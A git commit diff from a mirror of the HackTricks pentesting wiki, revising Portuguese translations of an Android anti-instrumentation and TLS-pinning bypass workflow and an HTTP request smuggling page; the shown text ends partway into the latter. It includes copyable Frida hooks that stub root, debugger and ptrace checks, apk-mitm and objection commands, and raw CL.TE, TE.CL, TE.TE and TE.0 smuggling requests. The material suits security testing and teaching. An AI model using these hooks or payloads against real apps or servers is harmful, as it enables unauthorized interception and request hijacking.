mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p
This commit is contained in:
parent
312220b69c
commit
0b47251123
@ -2,30 +2,30 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Esta página fornece um fluxo de trabalho prático para recuperar a análise dinâmica contra aplicativos Android que detectam/bloqueiam a instrumentação ou impõem o pinning TLS. Foca em triagem rápida, detecções comuns e hooks/táticas copiáveis para contorná-las sem recompilar quando possível.
|
Esta página fornece um fluxo de trabalho prático para recuperar a análise dinâmica contra apps Android que detectam ou bloqueiam instrumentation por root ou impõem TLS pinning. Concentra‑se em triagem rápida, detecções comuns e hooks/tactics copiáveis para contorná‑los sem repacking quando possível.
|
||||||
|
|
||||||
## Superfície de Detecção (o que os aplicativos verificam)
|
## Detection Surface (what apps check)
|
||||||
|
|
||||||
- Verificações de root: binário su, caminhos do Magisk, valores getprop, pacotes de root comuns
|
- Verificações de root: su binary, Magisk paths, getprop values, pacotes root comuns
|
||||||
- Verificações de Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), escaneando /proc, classpath, libs carregadas
|
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
|
||||||
- Anti-debug nativo: ptrace(), syscalls, anti-attach, breakpoints, inline hooks
|
- Anti‑debug nativo: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
|
||||||
- Verificações de early init: Application.onCreate() ou hooks de início de processo que travam se a instrumentação estiver presente
|
- Verificações de inicialização precoce: Application.onCreate() ou process start hooks que causam crash se instrumentation estiver presente
|
||||||
- Pining TLS: TrustManager/HostnameVerifier personalizados, OkHttp CertificatePinner, pinning Conscrypt, pins nativos
|
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
|
||||||
|
|
||||||
## Passo 1 — Vitória rápida: ocultar root com Magisk DenyList
|
## Passo 1 — Quick win: hide root with Magisk DenyList
|
||||||
|
|
||||||
- Ative o Zygisk no Magisk
|
- Habilite Zygisk in Magisk
|
||||||
- Ative o DenyList, adicione o pacote alvo
|
- Habilite DenyList, adicione o pacote alvo
|
||||||
- Reinicie e reteste
|
- Reinicie e reteste
|
||||||
|
|
||||||
Muitos aplicativos apenas procuram indicadores óbvios (caminhos su/Magisk/getprop). O DenyList frequentemente neutraliza verificações ingênuas.
|
Muitos apps só procuram indicadores óbvios (su/Magisk paths/getprop). DenyList frequentemente neutraliza checagens ingênuas.
|
||||||
|
|
||||||
Referências:
|
References:
|
||||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||||
|
|
||||||
## Passo 2 — Testes de Frida Codeshare em 30 segundos
|
## Passo 2 — 30‑second Frida Codeshare tests
|
||||||
|
|
||||||
Tente scripts comuns antes de se aprofundar:
|
Tente scripts drop‑in comuns antes de aprofundar:
|
||||||
|
|
||||||
- anti-root-bypass.js
|
- anti-root-bypass.js
|
||||||
- anti-frida-detection.js
|
- anti-frida-detection.js
|
||||||
@ -35,42 +35,42 @@ Exemplo:
|
|||||||
```bash
|
```bash
|
||||||
frida -U -f com.example.app -l anti-frida-detection.js
|
frida -U -f com.example.app -l anti-frida-detection.js
|
||||||
```
|
```
|
||||||
Esses normalmente interrompem verificações de root/debug em Java, varreduras de processo/serviço e ptrace() nativo. Útil em aplicativos levemente protegidos; alvos endurecidos podem precisar de ganchos personalizados.
|
Estes tipicamente stub Java root/debug checks, process/service scans, e ptrace() nativo. Úteis em apps pouco protegidos; hardened targets podem precisar de hooks personalizados.
|
||||||
|
|
||||||
- Codeshare: https://codeshare.frida.re/
|
- Codeshare: https://codeshare.frida.re/
|
||||||
|
|
||||||
## Passo 3 — Bypass de detectores de tempo de inicialização conectando-se tarde
|
## Passo 3 — Contornar detectores em tempo de inicialização anexando-se mais tarde
|
||||||
|
|
||||||
Muitas detecções só são executadas durante a criação do processo/onCreate(). A injeção no tempo de criação (-f) ou gadgets são detectados; conectar-se após o carregamento da UI pode passar despercebido.
|
Muitas detecções só são executadas durante process spawn/onCreate(). Spawn‑time injection (-f) ou gadgets são detectados; anexar-se depois que a UI carrega pode passar despercebido.
|
||||||
```bash
|
```bash
|
||||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||||
frida -U -n com.example.app
|
frida -U -n com.example.app
|
||||||
# Or with Objection to attach to running process
|
# Or with Objection to attach to running process
|
||||||
aobjection --gadget com.example.app explore # if using gadget
|
aobjection --gadget com.example.app explore # if using gadget
|
||||||
```
|
```
|
||||||
Se isso funcionar, mantenha a sessão estável e prossiga para mapeamento e verificações de stub.
|
Se isso funcionar, mantenha a sessão estável e prossiga para mapear e verificar stubs.
|
||||||
|
|
||||||
## Passo 4 — Mapeie a lógica de detecção via Jadx e busca de strings
|
## Etapa 4 — Mapear lógica de detecção via Jadx e busca por strings
|
||||||
|
|
||||||
Palavras-chave de triagem estática no Jadx:
|
Palavras-chave de triagem estática no Jadx:
|
||||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||||
|
|
||||||
Padrões típicos de Java:
|
Padrões típicos em Java:
|
||||||
```java
|
```java
|
||||||
public boolean isFridaDetected() {
|
public boolean isFridaDetected() {
|
||||||
return getRunningServices().contains("frida");
|
return getRunningServices().contains("frida");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
APIs comuns para revisar/enganchar:
|
APIs comuns para revisar/hook:
|
||||||
- android.os.Debug.isDebuggerConnected
|
- android.os.Debug.isDebuggerConnected
|
||||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||||
- java.lang.System.loadLibrary / System.load (ponte nativa)
|
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||||
- java.lang.Runtime.exec / ProcessBuilder (comandos de sondagem)
|
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
|
||||||
- android.os.SystemProperties.get (heurísticas de root/emulador)
|
- android.os.SystemProperties.get (root/emulator heuristics)
|
||||||
|
|
||||||
## Passo 5 — Stubbing em tempo de execução com Frida (Java)
|
## Passo 5 — Runtime stubbing com Frida (Java)
|
||||||
|
|
||||||
Substitua guardas personalizados para retornar valores seguros sem reempacotar:
|
Override custom guards para retornar valores seguros sem repacking:
|
||||||
```js
|
```js
|
||||||
Java.perform(() => {
|
Java.perform(() => {
|
||||||
const Checks = Java.use('com.example.security.Checks');
|
const Checks = Java.use('com.example.security.Checks');
|
||||||
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
|
|||||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Triagem de falhas iniciais? Despeje classes pouco antes de morrer para identificar namespaces de detecção prováveis:
|
Triagem de early crashes? Dump classes pouco antes de morrer para identificar possíveis detection namespaces:
|
||||||
```js
|
```js
|
||||||
Java.perform(() => {
|
Java.perform(() => {
|
||||||
Java.enumerateLoadedClasses({
|
Java.enumerateLoadedClasses({
|
||||||
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Registre e neutralize métodos suspeitos para confirmar o fluxo de execução:
|
Log e neutralize métodos suspeitos para confirmar o fluxo de execução:
|
||||||
```js
|
```js
|
||||||
Java.perform(() => {
|
Java.perform(() => {
|
||||||
const Det = Java.use('com.example.security.DetectionManager');
|
const Det = Java.use('com.example.security.DetectionManager');
|
||||||
@ -104,9 +104,9 @@ return false;
|
|||||||
};
|
};
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
## Passo 6 — Siga a trilha JNI/nativa quando os hooks Java falharem
|
## Step 6 — Siga a trilha JNI/native quando Java hooks falharem
|
||||||
|
|
||||||
Rastreie os pontos de entrada JNI para localizar carregadores nativos e inicialização de detecção:
|
Rastreie os JNI entry points para localizar native loaders e detection init:
|
||||||
```bash
|
```bash
|
||||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||||
```
|
```
|
||||||
@ -117,11 +117,11 @@ nm -D libfoo.so | head
|
|||||||
objdump -T libfoo.so | grep Java_
|
objdump -T libfoo.so | grep Java_
|
||||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||||
```
|
```
|
||||||
Reversão interativa/nativa:
|
Interativo/nativo reversing:
|
||||||
- Ghidra: https://ghidra-sre.org/
|
- Ghidra: https://ghidra-sre.org/
|
||||||
- r2frida: https://github.com/nowsecure/r2frida
|
- r2frida: https://github.com/nowsecure/r2frida
|
||||||
|
|
||||||
Exemplo: neutrar ptrace para derrotar o anti‑debug simples em libc:
|
Exemplo: neuter ptrace to defeat simple anti‑debug in libc:
|
||||||
```js
|
```js
|
||||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||||
if (ptrace) {
|
if (ptrace) {
|
||||||
@ -130,40 +130,43 @@ return -1; // pretend failure
|
|||||||
}, 'int', ['int', 'int', 'pointer', 'pointer']));
|
}, 'int', ['int', 'int', 'pointer', 'pointer']));
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Veja também: {{#ref}}
|
Veja também:
|
||||||
|
{{#ref}}
|
||||||
reversing-native-libraries.md
|
reversing-native-libraries.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Etapa 7 — Patching com Objection (gadget embutido / noções básicas de strip)
|
## Passo 7 — Objection patching (embed gadget / strip basics)
|
||||||
|
|
||||||
Quando você preferir repackaging a hooks de tempo de execução, tente:
|
Quando você prefere repacking em vez de runtime hooks, tente:
|
||||||
```bash
|
```bash
|
||||||
objection patchapk --source app.apk
|
objection patchapk --source app.apk
|
||||||
```
|
```
|
||||||
Notas:
|
Notas:
|
||||||
- Requer apktool; assegure-se de ter uma versão atual do guia oficial para evitar problemas de construção: https://apktool.org/docs/install
|
- Requer apktool; garanta uma versão atual seguindo o guia oficial para evitar problemas de build: https://apktool.org/docs/install
|
||||||
- A injeção de gadgets permite instrumentação sem root, mas ainda pode ser detectada por verificações mais rigorosas no tempo de inicialização.
|
- Gadget injection permite instrumentation sem root, mas ainda pode ser detectado por verificações init‑time mais rigorosas.
|
||||||
|
|
||||||
Referências:
|
Referências:
|
||||||
- Objection: https://github.com/sensepost/objection
|
- Objection: https://github.com/sensepost/objection
|
||||||
|
|
||||||
## Passo 8 — Alternativa: Corrigir o pinning TLS para visibilidade de rede
|
## Passo 8 — Plano B: Corrigir TLS pinning para visibilidade de rede
|
||||||
|
|
||||||
Se a instrumentação estiver bloqueada, você ainda pode inspecionar o tráfego removendo o pinning estaticamente:
|
Se instrumentation estiver bloqueado, você ainda pode inspecionar o tráfego removendo o pinning estaticamente:
|
||||||
```bash
|
```bash
|
||||||
apk-mitm app.apk
|
apk-mitm app.apk
|
||||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||||
```
|
```
|
||||||
- Ferramenta: https://github.com/shroudedcode/apk-mitm
|
- Ferramenta: https://github.com/shroudedcode/apk-mitm
|
||||||
- Para truques de configuração de rede CA‑trust (e confiança de CA do usuário no Android 7+), veja:
|
- Para truques de configuração de rede relacionados à confiança de CA (e à confiança de CA de usuário no Android 7+), veja:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
make-apk-accept-ca-certificate.md
|
make-apk-accept-ca-certificate.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
install-burp-certificate.md
|
install-burp-certificate.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Folha de dicas de comandos úteis
|
## Resumo prático de comandos
|
||||||
```bash
|
```bash
|
||||||
# List processes and attach
|
# List processes and attach
|
||||||
frida-ps -Uai
|
frida-ps -Uai
|
||||||
@ -181,12 +184,12 @@ objection --gadget com.example.app explore
|
|||||||
# Static TLS pinning removal
|
# Static TLS pinning removal
|
||||||
apk-mitm app.apk
|
apk-mitm app.apk
|
||||||
```
|
```
|
||||||
## Dicas e advertências
|
## Dicas & caveats
|
||||||
|
|
||||||
- Prefira anexar tarde em vez de criar processos quando os aplicativos travam na inicialização
|
- Prefira attaching late em vez de spawning quando apps travam na inicialização
|
||||||
- Algumas detecções são reexecutadas em fluxos críticos (por exemplo, pagamento, autenticação) — mantenha os hooks ativos durante a navegação
|
- Algumas detecções re-executam em fluxos críticos (e.g., payment, auth) — mantenha hooks ativos durante a navegação
|
||||||
- Misture estático e dinâmico: procure strings no Jadx para selecionar classes; depois, conecte métodos para verificar em tempo de execução
|
- Misture análise estática e dinâmica: string hunt em Jadx para reduzir as classes; depois hook métodos para verificar em runtime
|
||||||
- Aplicativos endurecidos podem usar empacotadores e pinagem TLS nativa — espere reverter código nativo
|
- Aplicativos hardened podem usar packers e native TLS pinning — espere reverter código nativo
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -2,62 +2,63 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
## O que é
|
## O que é
|
||||||
|
|
||||||
Essa vulnerabilidade ocorre quando uma **desincronização** entre os **proxies de front-end** e o servidor **back-end** permite que um **atacante** **envie** uma **requisição** HTTP que será **interpretada** como uma **única requisição** pelos proxies de **front-end** (balanceador de carga/reverse-proxy) e **como 2 requisições** pelo servidor **back-end**.\
|
Esta vulnerabilidade ocorre quando uma **desyncronization** entre os **front-end proxies** e o servidor **back-end** permite que um **attacker** envie um HTTP **request** que será **interpreted** como um **single request** pelos **front-end** proxies (load balance/reverse-proxy) e **as 2 request** pelo servidor **back-end**.\
|
||||||
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor back-end após a sua**.
|
Isso permite que um usuário **modify the next request that arrives to the back-end server after his**.
|
||||||
|
|
||||||
### Teoria
|
### Teoria
|
||||||
|
|
||||||
[**Especificação RFC (2161)**](https://tools.ietf.org/html/rfc2616)
|
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||||
|
|
||||||
> Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, o último DEVE ser ignorado.
|
> Se uma mensagem é recebida com ambos os campos de cabeçalho Transfer-Encoding e Content-Length, este último MUST ser ignorado.
|
||||||
|
|
||||||
**Content-Length**
|
**Content-Length**
|
||||||
|
|
||||||
> O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.
|
> O cabeçalho de entidade Content-Length indica o tamanho do entity-body, em bytes, enviado ao destinatário.
|
||||||
|
|
||||||
**Transfer-Encoding: chunked**
|
**Transfer-Encoding: chunked**
|
||||||
|
|
||||||
> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo do payload para o usuário.\
|
> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o payload body para o usuário.\
|
||||||
> Chunked significa que grandes dados são enviados em uma série de pedaços.
|
> Chunked significa que grandes dados são enviados em uma série de chunks
|
||||||
|
|
||||||
### Realidade
|
### Realidade
|
||||||
|
|
||||||
O **Front-End** (um balanceador de carga / Reverse Proxy) **processa** o cabeçalho _**content-length**_ ou o _**transfer-encoding**_ e o servidor **Back-end** **processa o outro**, provocando uma **desincronização** entre os 2 sistemas.\
|
O **Front-End** (um load-balance / Reverse Proxy) **processa** o cabeçalho _**Content-Length**_ ou o _**Transfer-Encoding**_ e o servidor **Back-end** **processa o outro**, provocando uma **desyncronization** entre os 2 sistemas.\
|
||||||
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o reverse proxy que será **interpretada** pelo servidor **back-end** **como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o servidor **back-end** **interpretará** a **2ª requisição injetada** como se **tivesse vindo do próximo cliente** e a **requisição real** desse cliente será **parte** da **requisição injetada**.
|
Isso pode ser muito crítico, pois **um attacker poderá enviar um request** ao reverse proxy que será **interpretado** pelo servidor **back-end** **como 2 requests diferentes**. O **perigo** desta técnica reside no fato de que o servidor **back-end** **interpretará** o **2nd request injected** como se tivesse **vindo do próximo cliente** e o **real request** desse cliente será **parte** do **injected request**.
|
||||||
|
|
||||||
### Particularidades
|
### Particularidades
|
||||||
|
|
||||||
Lembre-se de que em HTTP **um caractere de nova linha é composto por 2 bytes:**
|
Lembre-se que em HTTP **um caractere de nova linha é composto por 2 bytes:**
|
||||||
|
|
||||||
- **Content-Length**: Este cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo deve terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
|
- **Content-Length**: Este header usa um **número decimal** para indicar o **número** de **bytes** do **body** do request. O body é esperado terminar no último caractere; **uma nova linha não é necessária no fim do request**.
|
||||||
- **Transfer-Encoding:** Este cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo pedaço**. O **pedaço** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Este método de transferência deve terminar com um **pedaço de tamanho 0 seguido de 2 novas linhas**: `0`
|
- **Transfer-Encoding:** Este header usa no **body** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha** mas essa nova linha **não é contabilizada** pelo indicador de tamanho. Este método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
|
||||||
- **Connection**: Com base na minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do HTTP Request Smuggling.
|
- **Connection**: Com base na minha experiência, é recomendado usar **`Connection: keep-alive`** no primeiro request do request Smuggling.
|
||||||
|
|
||||||
## Exemplos Básicos
|
## Exemplos Básicos
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Ao tentar explorar isso com Burp Suite **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repetidor, pois alguns gadgets abusam de novas linhas, retornos de carro e content-lengths malformados.
|
> Ao tentar explorar isso com Burp Suite **desative `Update Content-Length` e `Normalize HTTP/1 line endings`** no repeater porque alguns gadgets abusam de newlines, carriage returns e content-lengths malformados.
|
||||||
|
|
||||||
Os ataques de HTTP request smuggling são elaborados enviando requisições ambíguas que exploram discrepâncias em como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento da mesma requisição de maneiras diferentes pelos servidores, levando a resultados inesperados e potencialmente maliciosos.
|
HTTP request smuggling attacks são criados enviando requests ambíguos que exploram discrepâncias em como front-end e back-end interpretam os headers `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como front-end e back-end priorizam esses headers. As vulnerabilidades surgem quando os servidores processam o mesmo request de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
|
||||||
|
|
||||||
### Exemplos Básicos de Tipos de Vulnerabilidade
|
### Exemplos Básicos de Tipos de Vulnerabilidade
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Na tabela anterior, você deve adicionar a técnica TE.0, como a técnica CL.0, mas usando Transfer Encoding.
|
> À tabela anterior você deve adicionar a técnica TE.0, similar à técnica CL.0 mas usando Transfer-Encoding.
|
||||||
|
|
||||||
#### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
|
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||||
|
|
||||||
- **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
|
- **Front-End (CL):** Processa o request com base no header `Content-Length`.
|
||||||
- **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
|
- **Back-End (TE):** Processa o request com base no header `Transfer-Encoding`.
|
||||||
- **Cenário de Ataque:**
|
- **Cenário de Ataque:**
|
||||||
|
|
||||||
- O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
|
- O attacker envia um request onde o valor do header `Content-Length` não corresponde ao comprimento real do conteúdo.
|
||||||
- O servidor de front-end encaminha toda a requisição para o back-end, com base no valor de `Content-Length`.
|
- O front-end encaminha o request inteiro para o back-end, baseado no valor do `Content-Length`.
|
||||||
- O servidor back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
|
- O back-end processa o request como chunked devido ao header `Transfer-Encoding: chunked`, interpretando os dados remanescentes como um request subsequente separado.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -73,15 +74,15 @@ GET /404 HTTP/1.1
|
|||||||
Foo: x
|
Foo: x
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
|
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||||
|
|
||||||
- **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
|
- **Front-End (TE):** Processa o request com base no header `Transfer-Encoding`.
|
||||||
- **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
|
- **Back-End (CL):** Processa o request com base no header `Content-Length`.
|
||||||
- **Cenário de Ataque:**
|
- **Cenário de Ataque:**
|
||||||
|
|
||||||
- O atacante envia uma requisição chunked onde o tamanho do pedaço (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
|
- O attacker envia um request chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não coincidem.
|
||||||
- O servidor de front-end, respeitando `Transfer-Encoding`, encaminha toda a requisição para o back-end.
|
- O front-end, honrando o `Transfer-Encoding`, encaminha o request inteiro para o back-end.
|
||||||
- O servidor back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma requisição subsequente não intencional.
|
- O back-end, respeitando o `Content-Length`, processa apenas a parte inicial do request (`7b` bytes), deixando o restante como parte de um request subsequente não intencional.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -102,14 +103,14 @@ x=
|
|||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com ofuscação)
|
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||||
|
|
||||||
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo via ofuscação.
|
- **Servers:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado a ignorá-lo via obfuscação.
|
||||||
- **Cenário de Ataque:**
|
- **Cenário de Ataque:**
|
||||||
|
|
||||||
- O atacante envia uma requisição com cabeçalhos `Transfer-Encoding` ofuscados.
|
- O attacker envia um request com headers `Transfer-Encoding` obfuscados.
|
||||||
- Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a ofuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
|
- Dependendo de qual servidor (front-end ou back-end) não reconhece a obfuscação, pode ser explorada uma vulnerabilidade CL.TE ou TE.CL.
|
||||||
- A parte não processada da requisição, vista por um dos servidores, torna-se parte de uma requisição subsequente, levando ao smuggling.
|
- A parte não processada do request, como vista por um dos servidores, torna-se parte de um request subsequente, levando ao smuggling.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -129,10 +130,10 @@ Transfer-Encoding
|
|||||||
: chunked
|
: chunked
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End)**
|
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||||
|
|
||||||
- Ambos os servidores processam a requisição com base apenas no cabeçalho `Content-Length`.
|
- Ambos os servidores processam o request com base exclusivamente no header `Content-Length`.
|
||||||
- Este cenário normalmente não leva ao smuggling, pois há alinhamento em como ambos os servidores interpretam o comprimento da requisição.
|
- Este cenário tipicamente não leva a smuggling, já que há alinhamento em como ambos interpretam o comprimento do request.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -144,10 +145,10 @@ Connection: keep-alive
|
|||||||
Normal Request
|
Normal Request
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Cenário CL.0**
|
#### **CL.0 Scenario**
|
||||||
|
|
||||||
- Refere-se a cenários onde o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da requisição tem conteúdo. O back-end ignora o cabeçalho `Content-Length` (que é tratado como 0), mas o front-end o analisa.
|
- Refere-se a cenários onde o header `Content-Length` está presente e possui um valor diferente de zero, indicando que o body do request tem conteúdo. O back-end ignora o header `Content-Length` (tratado como 0), mas o front-end o parseia.
|
||||||
- É crucial para entender e elaborar ataques de smuggling, pois influencia como os servidores determinam o final de uma requisição.
|
- É crucial para entender e criar ataques de smuggling, pois influencia como os servidores determinam o fim de um request.
|
||||||
- **Exemplo:**
|
- **Exemplo:**
|
||||||
|
|
||||||
```
|
```
|
||||||
@ -159,11 +160,11 @@ Connection: keep-alive
|
|||||||
Non-Empty Body
|
Non-Empty Body
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Cenário TE.0
|
#### TE.0 Scenario
|
||||||
|
|
||||||
- Semelhante ao anterior, mas usando TE.
|
- Igual ao anterior, mas usando TE.
|
||||||
- Técnica [reportada aqui](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
- Técnica [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
- **Exemplo:**
|
- **Example**:
|
||||||
```
|
```
|
||||||
OPTIONS / HTTP/1.1
|
OPTIONS / HTTP/1.1
|
||||||
Host: {HOST}
|
Host: {HOST}
|
||||||
@ -183,17 +184,18 @@ EMPTY_LINE_HERE
|
|||||||
```
|
```
|
||||||
#### Quebrando o servidor web
|
#### Quebrando o servidor web
|
||||||
|
|
||||||
Esta técnica também é útil em cenários onde é possível **quebrar um servidor web enquanto lê os dados HTTP iniciais** mas **sem fechar a conexão**. Dessa forma, o **corpo** da solicitação HTTP será considerado a **próxima solicitação HTTP**.
|
Esta técnica também é útil em cenários onde é possível **quebrar um servidor web enquanto lê os dados HTTP iniciais** mas **sem fechar a conexão**. Desta forma, o **body** da requisição HTTP será considerado a **próxima requisição HTTP**.
|
||||||
|
|
||||||
Por exemplo, como explicado em [**este artigo**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns caracteres **Unicode** e isso faria o servidor **quebrar**. No entanto, se a conexão HTTP foi criada com o cabeçalho **`Connection: keep-alive`**, o corpo da solicitação não será lido e a conexão ainda estará aberta, então o **corpo** da solicitação será tratado como a **próxima solicitação HTTP**.
|
Por exemplo, como explicado em [**este writeup**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns caracteres **Unicode** e isso faria o servidor **quebrar**. Entretanto, se a conexão HTTP foi criada com o header **`Connection: keep-alive`**, o body da requisição não será lido e a conexão permanecerá aberta, então o **body** da requisição será tratado como a **próxima requisição HTTP**.
|
||||||
|
|
||||||
#### Forçando via cabeçalhos hop-by-hop
|
#### Forçando via hop-by-hop headers
|
||||||
|
|
||||||
Abusando de cabeçalhos hop-by-hop, você poderia indicar ao proxy para **deletar o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de abusar**.
|
Abusando de hop-by-hop headers, você pode instruir o proxy a **remover o header Content-Length ou Transfer-Encoding, permitindo que um HTTP request smuggling seja explorado**.
|
||||||
```
|
```
|
||||||
Connection: Content-Length
|
Connection: Content-Length
|
||||||
```
|
```
|
||||||
Para **mais informações sobre cabeçalhos hop-by-hop** visite:
|
Para **mais informações sobre hop-by-hop headers** visite:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../abusing-hop-by-hop-headers.md
|
../abusing-hop-by-hop-headers.md
|
||||||
@ -201,13 +203,13 @@ Para **mais informações sobre cabeçalhos hop-by-hop** visite:
|
|||||||
|
|
||||||
## Encontrando HTTP Request Smuggling
|
## Encontrando HTTP Request Smuggling
|
||||||
|
|
||||||
